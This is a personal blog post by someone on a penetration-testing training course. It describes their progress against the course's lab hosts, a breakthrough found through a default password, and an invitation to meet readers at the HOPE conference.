So the course is actually getting much harder now. At present I now have about 9 hosts left in the student labs, I have one on the IT labs and I have yet to get into the admin or dev networks. Oddly though I did find a host that was dual homed, but it doesn't seem to have a network-secret.txt file anywhere to be found, which is a bit odd; makes me wonder if I got into the Dev networks or not. I only have about 25 days left so its starting to get a bit tight. I always seemt o wonder if I will get into anymore hosts, and then I prove myself wrong.
That being said I have recently had a period where I just felt like giving up. I couldn't see any way of getting into these hosts at all. Again this is where enumeration comes in handy, because yesterday I found that I actually was able to get into one, through the sheer luck of testing a random exploit and finding that it worked. I had overlooked that the website was running a piece of software that was still using a default password and thus allowed me to gain top level privileges on the system.
Anyway I won't be touring as much now, this week i will mostly be in one place.
In other news, if any of you are going to the HOPE conference in New York, please, please leave a comment below. I would love to meet you guys in person and have a chat. I know most of you probably won't be in the area (or the country even) but if you are going it would be a pleasure. Details can be found on the website www.hope.net.
